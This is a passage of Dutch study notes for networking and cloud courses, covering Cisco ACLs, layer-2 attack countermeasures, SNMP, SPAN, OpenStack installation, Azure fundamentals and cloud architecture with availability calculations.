R1(config)# interface s0/0/0
R1(config-if)# ipv6 traffic-filter NO-R3-LAN-ACCESS in
Verwijderen: no ipv6 traffic-filter op de interface, dan no ipv6 access-list. Op VTY-lijnen gebruiken IPv4 en IPv6 allebei access-class (v6: ipv6 access-class). Controleren: show ipv6 interface, show access-lists (IPv6-sequence-nummers staan áchter de ACE).
Hoe een router een ACL verwerkt
- Inbound: frame komt binnen → is er een inbound ACL? → testen tegen de ACE's → bij permit pas daarna de routingtabel raadplegen.
- Outbound: eerst de routingtabel (is het pakket routeerbaar?) → is de uitgaande interface aan een ACL gekoppeld? → testen → permit of deny → encapsuleren en versturen.
- Standaard ACL kijkt alleen naar het bron-IPv4-adres. Extended ACL filtert op bron, poort en protocol, en bestemming en poort, en beslist dan.
Typische fouten (troubleshootingvoorbeelden):
| Symptoom | Oorzaak | Oplossing |
|---|---|---|
| Host 192.168.10.10 kan niet telnetten, terwijl regel 20 dat toestaat | Regel 10 denyt de host al; regel 20 wordt nooit bereikt | Regels 10 en 20 omdraaien |
| TFTP werkt niet | De ACL staat alleen permit tcp any any toe; TFTP is UDP | permit ip any any |
| Telnet wordt niet geblokkeerd | De poort staat bij de bron (… 192.168.11.0 0.0.0.255 eq telnet …) in plaats van bij de bestemming | deny tcp 192.168.11.0 0.0.0.255 192.168.30.0 0.0.0.255 eq telnet |
| Host kan nog telnetten | De deny verwijst naar het IP van de routerinterface in plaats van de host | Het juiste hostadres gebruiken |
| Geen matches op de deny | ACL in de verkeerde richting toegepast | Bijv. outbound in plaats van inbound |
| IPv6-ACL werkt niet op het verkeerde punt | ACL niet dicht bij de bron geplaatst | ACL op de router bij de bron zetten |
LAN-aanvallen (laag 2)
Routers, firewalls, IPS'en en VPN's beschermen laag 3 tot 7, maar laag 2 moet ook beschermd worden.
| Aanval | Wat | Tegenmaatregel |
|---|---|---|
| CDP-reconnaissance | CDP (Cisco, standaard aan) verklapt apparaatinformatie | no cdp run (globaal) of no cdp enable (per poort); CDP alleen op geselecteerde poorten |
| Telnet-aanvallen | Brute force op het wachtwoord, of Telnet-DoS (verbindingen blijven aanvragen) | SSH, sterke en vaak gewijzigde wachtwoorden, ACL op de VTY-lijnen, AAA met TACACS+ of RADIUS |
| MAC-address-table-flooding | Valse bron-MAC's tot de tabel vol is; de switch gaat in fail-open en broadcast alle frames, zodat de aanvaller meekijkt | Port security |
| VLAN-aanval (switch spoofing) | Host doet zich voor als switch en trunkt via 802.1Q en DTP | Access-poorten expliciet instellen, auto-trunking uit (switchport nonegotiate), trunks handmatig, ongebruikte poorten uit en in een black-hole-VLAN, native VLAN niet 1, port security |
| DHCP-spoofing | Valse DHCP-server deelt adressen (en een valse gateway) uit | DHCP snooping |
| DHCP-starvation | Server overspoelen met nep-requests tot alle adressen op zijn (DoS) | DHCP snooping, port security |
- DHCP snooping kent trusted poorten (alleen naar de echte DHCP-server, upstream) en untrusted poorten (naar hosts, die geen DHCP-servermessages mogen sturen). Werkt met de DHCP Snooping Binding Database en rate limits.
- IP Source Guard (IPSG) voorkomt MAC- en IP-spoofing. Dynamic ARP Inspection (DAI) voorkomt ARP-spoofing en -poisoning. Port security voorkomt o.a. MAC-flooding en DHCP-starvation: statische MAC's, of een beperkt aantal dynamisch geleerde; bij overschrijding een security violation.
- Best practices: veilige protocolvarianten (SSH, SCP, SSL), sterke wachtwoorden, een aparte management-VLAN, ACL's.
- AAA: lokaal (de router controleert met zijn eigen database) of server-based (een AAA-server via TACACS+ of RADIUS).
- IEEE 802.1X: poortgebaseerde toegangscontrole. Een authenticatieserver controleert elk werkstation voordat de switchpoort diensten doorlaat. Rollen: supplicant (client), authenticator (switch), authentication server.
SNMP
Met Simple Network Management Protocol monitor en beheer je netwerkapparaten. Drie elementen:
- SNMP manager (op de NMS): haalt informatie op met get en wijzigt configuratie met set.
- SNMP agent (op het beheerde apparaat): verzamelt en bewaart de informatie.
- MIB (Management Information Base): de opgeslagen data en statistieken. Elke variabele is een OID (object ID) in een boomstructuur; Cisco heeft eigen private takken. CPU-gebruik kun je met
snmpgetperiodiek ophalen en in een grafiek zetten.
- De NMS pollt de agents periodiek met get-requests. Traps zijn ongevraagde berichten van de agent naar de manager bij een gebeurtenis (bijv. linkstatus of mislukte authenticatie), zodat je niet hoeft te wachten tot de volgende poll.
- Versies: v1, v2c en v3 (de cursus gaat over 2c en 3). v1 en v2c gebruiken community strings: ro (alleen lezen) en rw (lezen en schrijven). Die gaan in plain text over de lijn.
- SNMPv3 geeft: message integrity en authenticatie, encryptie en access control. Daarom aanbevolen.
R1(config)# snmp-server community batonaug ro SNMP_ACL ! community + ACL op de NMS
R1(config)# snmp-server location NOC_SNMP_MANAGER
R1(config)# snmp-server contact Wessel
! SNMPv3: ACL → view → group → user
R1(config)# ip access-list standard PERMIT-ADMIN
R1(config-std-nacl)# permit 192.168.1.0 0.0.0.255
R1(config)# snmp-server view SNMP-RO iso included
R1(config)# snmp-server group ADMIN v3 priv read SNMP-RO access PERMIT-ADMIN
R1(config)# snmp-server user BOB ADMIN v3 auth sha cisco12345 priv aes 128 cisco54321
Controleren: show snmp en show snmp community. Traps kun je bijvoorbeeld in Kiwi Syslog Server bekijken. Best practices: sterke, vaak gewijzigde community strings, ACL's om SNMP te beperken, liefst v3.
SPAN (port mirroring)
- Met port mirroring kopieert een switch de frames van bepaalde poorten naar een bestemmingspoort met een packet analyzer. Cisco noemt dit SPAN (Switched Port Analyzer).
- Gebruik: packet analyzers zoals Wireshark (troubleshooting, trage applicatie, kapotte NIC vinden) en IDS/IPS.
- Local SPAN: bron en bestemming op dezelfde switch. Een SPAN-sessie koppelt bronpoorten (of VLAN's) aan een bestemmingspoort. Regels: een bestemmingspoort kan geen bron zijn en andersom; het aantal bestemmingspoorten hangt van het platform af; de bestemmingspoort is geen normale switchpoort meer (alleen gemonitord verkeer).
- Remote SPAN (RSPAN): bron en bestemming op verschillende switches. Twee sessies; het verkeer gaat over trunks in een speciaal RSPAN-VLAN.
S1(config)# monitor session 1 source interface f0/1
S1(config)# monitor session 1 destination interface f0/2
S1# show monitor
OefenenVragen over moment 9
Vak 03 · 6 lessen
Cloud (CLIM)
Cloud Infrastructure and Management. De toets haalt de vragen uit het werkboek, de presentaties, de notities onder elke dia, het boek Architecting the Cloud (Kavis) en Canvas, maar niet uit de resource directory. Per les staat in het werkboek wat je moet kennen; dat staat hieronder bij elke les.
S3Les 1 · Cloud introduction en OpenStack (install)
Exam material: de presentatie, kunnen installeren met packstack (werkende cirros-VM's, floating IP, internet vanaf de VM, Horizon), de answer file van packstack begrijpen, en het boek hoofdstuk 1, 2, 3 en 5.
Wat is er nieuw aan cloud?
Cloud computing combineert het beste van het mainframetijdperk, het client-servertijdperk (pc) en het internettijdperk. Echt nieuw zijn: schalen, het pay-as-you-go-betaalmodel, snelheden die nooit eerder haalbaar waren, en gebruiksgemak.
- Instagram: gelanceerd in oktober 2010, 25.000 gebruikers op dag 1, na drie maanden 1 miljoen; in april 2012 voor 1 miljard dollar gekocht door Facebook, met 13 medewerkers. Voor start-ups is de cloud een no-brainer: in een eigen datacenter had dit niet gekund.
- Obama-campagne: zes maanden, met een enorme piek in de laatste dagen. Cloud in elk servicemodel (SaaS, PaaS, IaaS); fondsenwervingsplatform van 1 miljard dollar; belapplicatie tot 7.000 gelijktijdige gebruikers. Totale kosten 1,5 miljoen dollar: 1 miljoen voor een on-premise hostingbedrijf, 0,5 miljoen voor 200 applicaties in de cloud.
Servicemodellen (NIST)
| Model | NIST-definitie in het kort | Klant beheert |
|---|---|---|
| SaaS — Software as a Service | De applicaties van de provider gebruiken op cloudinfrastructuur, bereikbaar vanaf allerlei clients. | Bijna niets: hooguit beperkte gebruikersinstellingen van de applicatie. |
| PaaS — Platform as a Service | Eigen (of gekochte) applicaties uitrollen, gemaakt met talen, libraries, services en tools die de provider ondersteunt. | De applicaties en de configuratie van de omgeving; niet het OS of de infrastructuur. |
| IaaS — Infrastructure as a Service | Processing, storage, netwerken en andere basisresources; je kunt elke software draaien, ook het OS. | OS, storage, applicaties en eventueel wat netwerkonderdelen (firewall, load balancer, VPN). Niet de onderliggende infrastructuur. |
Daarnaast veel marketing: DaaS (Desktop), CaaS (Communication), MaaS (Metal of Monitoring), XaaS (Anything as a Service). Mature PaaS-oplossingen bieden kant-en-klaar database, logging, monitoring, security, caching, analytics, payment en mail (Azure App Services, Google App Engine, AWS Elastic Beanstalk).
De cloudstack (Kavis, figuur 2.1): vier lagen met de verantwoordelijkheid per model.
| Laag | Onderdelen | IaaS | PaaS | SaaS |
|---|---|---|---|---|
| User | Login, registratie, administratie | Klant | Klant | Klant |
| Application | Authenticatie, autorisatie, UI, transacties, rapporten, dashboard | Klant | Klant | Vendor |
| Application stack | OS, programmeertaal, app-server, middleware, database, monitoring | Klant | Vendor | Vendor |
| Infrastructure | Datacenter, servers, netwerk, disk storage, firewall, load balancer | Vendor | Vendor | Vendor |
Deploymentmodellen
- Public cloud: multitenant, je betaalt voor gebruik van een gedeeld grid, je weet niet precies waar je data staat, een abstractielaag met API's bovenop de hardware, een grote pool resources gedeeld door velen.
- Voordelen: betalen naar verbruik, elasticiteit (dynamisch op- en afschalen), focus op je eigen kerncompetentie.
- Nadelen: minder controle over SLA's (performance, uptime), regelgeving (privacy), beperkte configuratiemogelijkheden.
- Private cloud: voor exclusief gebruik door één organisatie (met meerdere afnemers, zoals afdelingen). Eigendom en beheer bij de organisatie, een derde of een combinatie; on of off premises. Bijvoorbeeld OpenStack of Azure Stack.
- Hybrid cloud: twee of meer cloudinfrastructuren die aparte entiteiten blijven, maar zo gekoppeld zijn dat data en applicaties kunnen worden verplaatst. Best practice: public voor elasticiteit en resource pooling, private waar risico's liggen rond data-eigendom en privacy.
- Multicloud: meerdere cloud- en storagediensten in één architectuur. Hybrid multicloud combineert beide.
De vijf essentiële kenmerken (NIST)
| Kenmerk | Betekenis |
|---|---|
| Broad network access | Beschikbaar via het netwerk, voor allerlei thin en thick clients (telefoon, tablet, pc). |
| Rapid elasticity | Capaciteit snel en soms automatisch erbij en eraf ("outward and inward"); voor de klant lijkt het onbeperkt. |
| On-demand self-service | De klant regelt zelf rekentijd en storage, zonder menselijke interactie met de provider. |
| Resource pooling | De resources van de provider worden gedeeld door meerdere klanten (multi-tenant), dynamisch toegewezen naar vraag. Storage, processing, geheugen, bandbreedte. |
| Measured service | Gebruik wordt gemeten, gecontroleerd en gerapporteerd: transparant voor provider en klant, pay-per-use. |
Schalen: horizontaal = scale out/in (meer of minder machines, goedkope hardware); verticaal = scale up/down (meer resources aan dezelfde machine).
Drivers en valkuilen
- Business drivers: capacity planning, kostenreductie, organizational agility. Technologische innovaties: clustering (redundantie/failover is de kern van cloud), grid computing (losjes gekoppeld, geografisch verspreid), virtualisatie.
- Worst practices: bestaande applicaties migreren is lastig, want software heeft vaak een tightly coupled architectuur, schaalt traditioneel alleen verticaal, en een clouddienst hoort stateless te zijn (de state bij de client).
- Rekenvoorbeeld migratie: huidige server 3000 dollar plus 800 dollar onderhoud per jaar; in de cloud 0,50 dollar per uur = 0,50 × 24 × 365 = 4380 dollar per jaar. Oplossing: niets doen, of vervangen door een SaaS-equivalent. Een VM 1-op-1 verhuizen is dus niet automatisch goedkoper.
- Best practices: applicatie stateless waar mogelijk; ontwerpen met kosten in gedachten; beschikbaar met cross-region-redundantie; toegang tot je data buiten de provider (tegen vendor lock-in); klein en met laag risico beginnen; nieuwe skills leren (zoals REST); elke rekening bestuderen om een "billshock" te voorkomen.
- Bij een public cloud met creditcard: budgetten maken, monitoring en alerts, accounts beveiligen (MFA), VM's uitzetten en resources verwijderen in alle regio's. Zonder creditcard: Azure for Students of AWS Academy Learner Lab (beperkt budget; ben je erdoorheen, dan verlies je de omgeving).
OpenStack
- Gratis en open-source cloudplatform, meestal ingezet als IaaS. Beheert grote pools compute, storage en netwerk in een datacenter, via een dashboard of de OpenStack-API.
- Begonnen in 2010 als project van Rackspace en NASA; sinds 2016 beheerd door de OpenStack Foundation (non-profit).
| Component | Functie |
|---|---|
| Nova | Compute: de instances (VM's) draaien |
| Neutron | Networking: netwerken, routers, floating IP's |
| Glance | Images voor de VM's |
| Cinder | Block storage (volumes) |
| Swift | Object storage |
| Keystone | Identity: authenticatie en de service-catalogus |
| Horizon | Het webdashboard |
| Heat | Orchestration (templates) |
| Ceilometer | Telemetry/metering |
| MariaDB | De database achter de diensten |
Op de lab-VM (all-in-one) staan na de installatie: Neutron, MariaDB, Glance, Cinder, Nova, Horizon, Swift, Ceilometer, Client, LBaaS en Heat.
Installatie met RDO Packstack
- RDO = RPM Distribution of OpenStack, een community-distributie van OpenStack die Red Hat in 2013 begon. Packstack installeert OpenStack met Puppet, op basis van een answer file met antwoorden op alle installatievragen.
- Een single node heeft veel geheugen nodig (VM met 11 GB; ~7 GB in gebruik). Maak genoeg snapshots (CleanInstall, PackStackInstalled, …).
- Voorbereiding op Rocky 9: vast IP (192.168.37.100), SELinux uit/permissive, firewalld en NetworkManager uit, de klassieke
network-service aan, repository voor OpenStack (caracal),openstack-packstackinstalleren.
packstack --allinone --provision-demo=n \
--os-neutron-ovn-bridge-mappings=extnet:br-ex \
--os-neutron-ovn-bridge-interfaces=br-ex:ens160 \
--cinder-volumes-size=50G
source keystonerc_admin # admin-credentials laden, in elke nieuwe sessie opnieuw
ovs-vsctl show # zit ens160 nog in de bridge br-ex?
- Het wachtwoord van de admin voor Horizon (
http://<ip>/dashboard) staat inkeystonerc_admin. - Netwerk: elke instance heeft een privé, vast (fixed) IP en kan daarnaast een publiek, floating IP krijgen. In het lab: een public netwerk (flat, extnet, external, geen DHCP, een pool buiten de DHCP-scope van VMware) en een private netwerk (10.1.0.0/24 met DHCP), verbonden door een router. Voor verkeer van buiten koppel je een floating IP aan de instance.
- De default security group staat uitgaand alles toe en inkomend alleen verkeer van VM's in dezelfde security group. Daarom voeg je regels toe voor ICMP en SSH vanaf 0.0.0.0/0.
- De eerste VM gebruikt het piepkleine Cirros-image (Glance, qcow2). Resultaat: public en private netwerk, twee cirros-VM's, floating IP, security group, ping vanaf de VM naar internet en SSH vanaf de host naar de VM.
S3Les 2 · Infrastructure as a Service en OpenStack (configure)
Exam material: de presentatie, OpenStack kunnen configureren en de commando's in het algemeen begrijpen, en het boek hoofdstuk 1, 2, 3 en 5.
IaaS: wanneer en waarom
NIST: de klant krijgt processing, storage, netwerken en andere basisresources, kan willekeurige software draaien (ook het OS), beheert de onderliggende infrastructuur niet, maar wel het OS, storage, applicaties en soms netwerkonderdelen (firewall, load balancer, VPN).
Wanneer IaaS?
- Als de applicatie eisen heeft waarvoor je geheugen moet beheren, databases moet configureren of het OS moet aanpassen.
- Kosten: PaaS met pay-as-you-go kan extreem duur worden.
- Risico op downtime verkleinen: wereldwijde redundantie kun je niet zelf bouwen.
Vijf categorieën overwegingen:
| Categorie | Waar je aan denkt |
|---|---|
| Technical | Performance, schaalbaarheid, security, regelgeving, business continuity, disaster recovery. Voor de zwaarste toepassingen (Twitter, Facebook, Pinterest) kan PaaS de performance/schaal niet leveren. |
| Financial | Kijk naar de TCO: ook het herschrijven van legacy, training van medewerkers en consultants, tools. |
| Strategic | SaaS/PaaS = snellere time-to-market; IaaS = meer controle over de infrastructuur; integratie met de supply chain van partners. |
| Organization | Zijn er genoeg skills in het team? |
| Risk | Privacy en data-eigendom: kan de data met een bevel in beslag worden genomen? |
Providers en markt
- Microsoft Azure (public, 2010; Azure Stack Edge/HCI voor private; samen hybrid), Amazon AWS (public, 2006), Google Cloud (public, 2008), OpenStack (public, private, hybrid), Rackspace, Alibaba Cloud ("new kid on the block"). In Nederland: 128 bedrijven in de Dutch Cloud Community.
- AWS is de onbetwiste marktleider. De top drie had in Q3 2024 samen 63% van de cloudbestedingen.
- Trends 2024: clouddatacenters gebruiken 3% van de wereldwijde energie; 90% van de grote bedrijven is multi-cloud; 82% gebruikt een hybrid model; 60% van de bedrijfsdata staat in de cloud.
- Vergelijkingscriteria: prijs (gebruik de calculators), security en compliance (encryptie, regio), architectuur (bijv. archivering), beheerbaarheid (containerorchestratie, storage gateway, configuratiemanagement zoals Puppet/SaltStack, API's REST/SOAP).
- Een VM-grootte heet een flavor (Azure: VM-size, AWS: instance type; EC2 Compute Unit, EBS als persistente blockstorage die binnen de Availability Zone wordt gerepliceerd).
Provisioning
- Azure: Portal (webbrowser; als het om weinig resources gaat), Azure PowerShell, Azure CLI (cross-platform; handig als je verschillende platformen gebruikt) en Cloud Shell (in de browser).
- De meeste bedrijven willen een hybrid cloud waarin public IaaS samenwerkt met private cloud.
- Terraform: tool om infrastructuur te bouwen, wijzigen en versioneren, voor verschillende providers en eigen oplossingen; van low-level (compute, storage, netwerk) tot high-level (DNS, SaaS). Komt terug in les 11.
Flavors en vCPU's
- Socket: de processorvoet op het moederbord. Physical CPU: de hardware in de socket.
- Core: een echte processorkern met eigen circuits en L1/L2-cache.
- Logical processor: met hyper-threading ziet het OS één core als twee logische CPU's die de uitvoerresources delen. Sneller als één thread wacht, maar lang niet zo goed als echte extra cores. Een thread is het uitvoeren van één stroom instructies.
- vCPU: geen 1-op-1-toewijzing, maar een representatie van tijd op de fysieke CPU. Vuistregel (Hyper-V): één fysieke core kan veilig 8 virtuele processors dragen.
# rekenvoorbeeld uit de dia
Intel Xeon E5-2650 v2: 16 cores × 8 = 128 vCPU's
met 4 vCPU per VM: 128 / 4 = 32 VM's
# 4 CPU's met elk 4 cores en hyper-threading
VMware ziet 4 fysieke CPU's met elk 8 (logische) cores
Storage in OpenStack
| Soort | Dienst | Kenmerk |
|---|---|---|
| Block storage | Cinder | Volumes die blijven bestaan als de instance wordt verwijderd (persistent). Een volume hangt aan één instance tegelijk, maar je kunt het loskoppelen en aan een andere hangen. Vergelijk met een USB-stick. |
| Object storage | Swift | Objecten (bestanden) via een API. |
| Image storage | Glance | Images zijn immutable; OpenStack behandelt ze als binaire blobs. |
| File storage | Manila | Gedeelde bestandssystemen. |
| Ephemeral storage | Nova | De disks van de VM verdwijnen als de VM wordt verwijderd. Voor cloud-native, kortlevende VM's; op de lokale disk van de compute node. |
Een volume maken in Cinder: cinder create maakt een LV in de volumegroep cinder-volumes. nova volume-attach maakt een uniek iSCSI IQN aan voor de compute node; die krijgt een iSCSI-sessie en nieuwe lokale storage (/dev/sdX), en libvirt geeft dat aan de instance als nieuwe disk (/dev/vdX). De Cinder-scheduler kiest de juiste volumeservice; diensten praten met elkaar via een berichtenbus (AMQP).
Elke instance heeft minstens één root disk (bootloader en OS), plus eventueel een ephemeral disk uit de flavor. De root disk komt uit een Glance-image (gekopieerd naar de hypervisor) of uit een persistent Cinder-volume.
Image-formaten
| Formaat | Wat |
|---|---|
| ISO | Archiefformaat voor een optische schijf (cd-rom). |
| QCOW2 | QEMU Copy-On-Write v2. Standaard bij KVM; sparse, dus kleiner. Advies in het lab. |
| RAW | Ongestructureerd disk-image; KVM en Xen. |
| VDI | VirtualBox. |
| VHD | Microsoft Hyper-V (Virtual Hard Disk). |
| VMDK | VMware. |
| OVF / OVA | Open Virtualization Format: een map met meerdere bestanden (.ovf-beschrijving, .mf-manifest, .vmdk/.vhd). OVA is diezelfde inhoud als één (tar-)bestand. |
OpenStack op de commandline
| Taak | Commando |
|---|---|
| Eerst doen, tegen authenticatiefouten | source keystonerc_admin |
| Draaiende instances tonen | nova list --host packstack.openstack.local |
| Alle netwerken met id | openstack network list |
| Details van een netwerk | openstack network show <id> |
| Alle images | openstack image list |
| Consolelog van een instance | openstack console log show Cirros1 |
| Beschikbare volumes | openstack volume list |
| Alle "omgevingen" om een server te hosten (flavors) | openstack flavor list |
| Draaiende compute services | openstack compute service list |
| Alle gebruikers | openstack user list |
openstack flavor create --ram 128 --disk 1 --vcpus 1 nano2
openstack keypair create mykey > ~/.ssh/myprivkey.pem
chmod 600 ~/.ssh/myprivkey.pem # anders weigert SSH de sleutel (te open)
openstack server create --flavor <id> --image <id> --security-group <id> \
--key-name mykey --nic net-id=<private-net-id> myCirrosServer
ssh -i ~/.ssh/myprivkey.pem cirros@<floating-ip>
Sleutels en eigen images
- SSH-keypairs zijn veiliger dan wachtwoorden. Horizon (of
openstack keypair create) geeft je een private key in .pem-formaat; de public key wordt bij het booten in de instance gezet. PuTTY wil .ppk: omzetten met PuTTYgen. - Cloud-images (zoals Rocky) bevatten cloud-init voor het injecteren van de SSH-key en user data, en zetten wachtwoord-login vaak uit. Inloggen met de key en het standaardaccount (
rocky,fedora,cirros). - Zelf een cloud-ready image maken (Fedora in VMware): acpid (zodat de hypervisor kan herstarten/uitzetten), cloud-init (metadata: SSH-key, user data), cloud-utils-growpart (rootpartitie vergroten),
NOZEROCONF=yes(anders bereikt de instance de metadataservice niet), consoleoutput viaconsole=ttyS0in GRUB, en de virtio-drivers in de initramfs (dracut -f) omdat KVM virtio-disks en -netwerk gebruikt. Uploaden als VMDK, of eerst omzetten metqemu-img convert. De flavor moet minstens zo groot zijn als de disk. - Nested virtualization werkt niet als Hyper-V aanstaat (bijv. door WSL2); uitzetten met
bcdedit /set hypervisorlaunchtype off.
S3Les 3 · Microsoft Azure Fundamentals (AZ-900)
Exam material: de presentatie lezen en de AZ-900-stof van Microsoft bestuderen. Het AZ-900-examen zelf doe je via Certiport (één kans, herkansing in het volgende blok); je badge levert punten op voor de eindopdracht.
Voor deze les staat op deze site al een complete module: AZ-900-uitleg en een oefentoets met 176 vragen. Hieronder alleen de kern van de presentatie, zodat je weet wat er in deze les zat.
De presentatie in het kort
| Onderdeel | Kern |
|---|---|
| Cloud concepts | Cloudmodellen (public, private, hybrid), CapEx vs. OpEx (vooraf investeren vs. doorlopende kosten; cloud = OpEx), cloudvoordelen (high availability, schaalbaarheid, elasticiteit, betrouwbaarheid, voorspelbaarheid, security, governance, beheerbaarheid). |
| Architectuur | Azure-accounts en subscriptions; regions, availability zones (fysiek gescheiden datacenters binnen een regio), region pairs, sovereign regions (US Gov, China). Hiërarchie: management groups → subscriptions → resource groups → resources. |
| Compute en netwerk | VM's, VM scale sets (automatisch schalen), availability sets (update- en fault-domains), containers (ACI, AKS), Azure Functions (serverless), App Service; VNets, VPN Gateway (versleuteld over internet) en ExpressRoute (privéverbinding, niet over internet). |
| Storage | Storage accounts, redundantie (LRS, ZRS, GRS, GZRS), diensten (Blob, Files, Queue, Table, Disks), access tiers (hot, cool, cold, archive). |
| Identity en security | Microsoft Entra ID (vroeger Azure AD), Entra Domain Services, MFA, External ID (B2B/B2C), Conditional Access (if-then: wil je bij de payroll-app, dan MFA), RBAC, Zero Trust, defense in depth, Microsoft Defender for Cloud. |
| Beheer en governance | Kostenfactoren, Marketplace, Pricing calculator, Cost Management, tags, Azure Policy, resource locks (Delete, ReadOnly), portal/CLI/PowerShell/Cloud Shell, Azure Arc, Azure Resource Manager met ARM-templates en Bicep, Advisor, Service Health, Monitor. |
S4Les 4 · Cloud Architecture
Exam material: de presentatie en de notities, de case (Wooden Games) kunnen uitwerken, en het boek hoofdstuk 4 en 13.
Alles begint met architectuur
Zonder een duidelijk beeld van de business- en technische eisen is het risico op (totaal) falen groot, zeker bij complexe architecturen. Bij cloud is een pragmatische aanpak nog belangrijker: de technische complexiteit en het aantal partijen (met hun verantwoordelijkheden) zijn groter. Zorg ook dat alle partijen de architectuur op dezelfde manier interpreteren (de schommel-cartoon).
- Missie: waar staan we voor (wie zijn wij). Visie: waar gaan we voor (de toekomst).
- Goals: langetermijndoelen ("go"). Objectives: concrete resultaten die je in een aantal stappen haalt.
- Enterprise architecture (de hele organisatie) vs. solution architecture (één oplossing). Een goede business architecture laat de touchpoints en businessfuncties zien in het deel van de organisatie dat in scope is.
- Nieuw systeem (greenfield): nieuw business-architectuurdiagram. Bestaand systeem: huidig diagram, nieuw diagram, en een besluit over afbreken of migreren.
De zes hoofdvragen
| Vraag | Fase | Waar het om gaat |
|---|---|---|
| Why | Identify the problem statement | Welk probleem lossen we op, wat zijn de business drivers (kosten, groei, service levels)? |
| Who | Evaluate user characteristics | Wie zijn de gebruikers (intern/extern, mensen of systemen), wat hebben ze nodig? Drijft vaak ontwerpkeuzes rond privacy, regelgeving en risico, en is belangrijk voor acceptatie. |
| What | Identify requirements | Business- en technische eisen, wettelijke beperkingen, risico's. Levert het (bijna) "perfecte" systeem. |
| Where | Visualize consumer experience | Waar wordt het gebruikt (devices, touchpoints, omgeving), locatie-eisen (wetten, belasting, taal)? Bijvoorbeeld de USA Patriot Act. Leidt vaak tot bijstellen van de eisen. |
| When (en with what) | Identify the project constraints | Opleverdata, budget, public/private-beperkingen, afhankelijkheden, "kunstmatige" beperkingen zoals interne politiek. |
| hoW | Understand current constraints | Zijn de skills er, wat is de mindset/cultuur? Organizational change management. |
Waarom de beperkingen niet meteen meenemen bij de eisen? Omdat je achteraf moet kunnen laten zien waarom het systeem "minder perfect" is geworden: dan weet iedereen waarom, wat er nog beter kan, en vergeet je minder snel alternatieven. Het is een iteratief proces tot de eisen "frozen" zijn.
Functional en non-functional requirements
- Functional: beschrijven hoe het systeem moet functioneren: welke data het verwerkt, hoe schermen en workflow werken, wat de output is, wie waar toegang toe heeft, welke regels gelden. Traditioneel goed afgedekt, technologiegedreven.
- Non-functional: beschrijven hoe de architectuur functioneert. Er is een sterke relatie tussen NFR's en de architectuur.
| NFR | Betekenis |
|---|---|
| Usability | Eisen voor eindgebruikers en systemen die het platform gebruiken. |
| Performance | Reageren op verzoeken; let op latency door redundantie over meerdere datacenters/regio's. |
| Flexibility | Meebewegen met de business met zo min mogelijk codewijzigingen. |
| Capability | Businessfuncties uitvoeren, nu en in de toekomst. |
| Security | Security, privacy en compliance. |
| Traceability | Logging, auditing, notificaties, eventverwerking. |
| Reusability | Mate van hergebruik, intern en extern. |
| Integrability | Integreren met andere systemen en technologieën. |
| Standardization | Te volgen industriestandaarden. |
| Scalability | Meeschalen met de vraag (out/in én up/down). |
| Portability | Op verschillende hardware- en softwareplatformen kunnen draaien. |
| Reliability | Vereiste uptime en SLA's, plus herstelmechanismen. |
Architecturen in de cloud
- Google Cloud: een region is een geografische locatie met een of meer zones (us-central1 met zones -a, -b, -c, -f). Zones zijn onafhankelijk (eigen stroom, koeling, netwerk); de meeste storingen raken één zone. Disks en instances zijn zonale resources (moeten in dezelfde zone zitten), een static IP is regionaal, images zijn globaal.
- AWS: VPC (logisch geïsoleerd deel van de AWS-cloud), CloudFront (CDN), EFS (gedeelde file storage voor EC2 in meerdere Availability Zones).
- Azure: 3-tier webapplicatie met een Network Security Group (NSG): regels die verkeer naar resources in een VNet toestaan of weigeren, te koppelen aan subnetten of NIC's.
- CDN (content delivery network): geografisch verspreide proxyservers zodat gebruikers snel content krijgen.
Vendor lock-in is gevaarlijk en duur; portability geeft vrijheid. Hoe lock-in werkt: een geweldig aanbod voor de eerste configuratie (soms gratis), en unieke features die concurrenten niet hebben (vermijd die dus). Lock-in is niet altijd slecht als beide partijen een win-win zien. Bekende boosdoeners: databaseleveranciers, CRM-leveranciers, maatwerksoftware.
Workload: load balancing, scaling en elasticity
- Load balancing verdeelt requests over meerdere servers, stuurt alleen naar servers die online zijn, en maakt servers toevoegen/weghalen makkelijk. Hangt samen met performance, availability, scalability, capability, reliability en continuity (active-active).
- Scaling: het vermogen van een systeem om de workload op de huidige hardware te verhogen of te verlagen (scale up/down).
- Elasticity: het vermogen om de workload op huidige, extra of minder hardware te verwerken, dynamisch en on demand (scale out/in). Complexer: vraagt vaak dat de applicatie er "bewust" van is. Applicaties met (web)workers en stateless RESTful API's zijn er goed geschikt voor.
- Denk ook aan afnemende load: Uber dat zijn licentie in Londen kwijtraakte, of een ticketsysteem.
Availability: redundantie en HA-clusters
Redundantie (onderdeel van disaster recovery) wordt meestal gebouwd als high-availability (HA)-cluster: een groep nodes met redundante hardware en HA-software, eventueel verspreid over meerdere datacenters. Plan voor RTO, RPO en disaster mitigation.
| Configuratie | Tweede datacenter | Herstel |
|---|---|---|
| Active-passive cold | Web, API en DB staan uit. Backups (full en incremental) gaan offsite. | Traagst: alles opstarten en de backups terugzetten. Goedkoopst. |
| Active-passive warm | Web en API staan uit (cold), de database draait (hot) en wordt gesynchroniseerd. | Sneller: alleen web en API starten. |
| Active-active hot | Alles draait in beide datacenters en wordt gesynchroniseerd. | Vrijwel direct. Duurst. Kan ook voor load balancing (meestal in hetzelfde datacenter). |
Beschikbaarheid berekenen
In serie (de dienst heeft alle onderdelen nodig): vermenigvuldig de beschikbaarheden.
0,98 × 0,98 × 0,975 × 0,96 = 0,8989 → 89,89%
Parallel (een cluster: één van de twee is genoeg): vermenigvuldig de onbeschikbaarheden en trek af van 1.
onbeschikbaar: (1 − 0,98) × (1 − 0,98) = 0,02 × 0,02 = 0,0004 = 0,04%
beschikbaar: 100% − 0,04% = 99,96% # van één negen naar drie negens
# de geclusterde host terug in de keten
0,9996 × 0,98 × 0,975 × 0,96 = 0,9169 → 91,69%
De case: Wooden Games
Dar (zoon van een fabrikant van houten spellen) wil "Wooden Games" online zetten als gamingplatform. Elk houten spel is al door een developer gedigitaliseerd, er is weinig geld voor de start, en retro is booming: het kan een groot platform worden (groeimodel). Je beschrijft het problem statement en de business drivers, de business-architectuur, minstens 3 business requirements en 5 technical requirements, en een figuur van de technische architectuur in de cloud van je keuze (bijv. met app.diagrams.net). Samen een architectuurontwerp van 1,5 à 2 A4.
OefenenVragen over les 4S4Les 5 · Identity and Access Management, SSO en federation
Exam material: de presentatie, de "Other information" uit het werkboek (o.a. de Dummy's guide over het verschil tussen OAuth en OpenID) en het lab in het algemeen begrijpen.
Inloggen bij cloudapplicaties
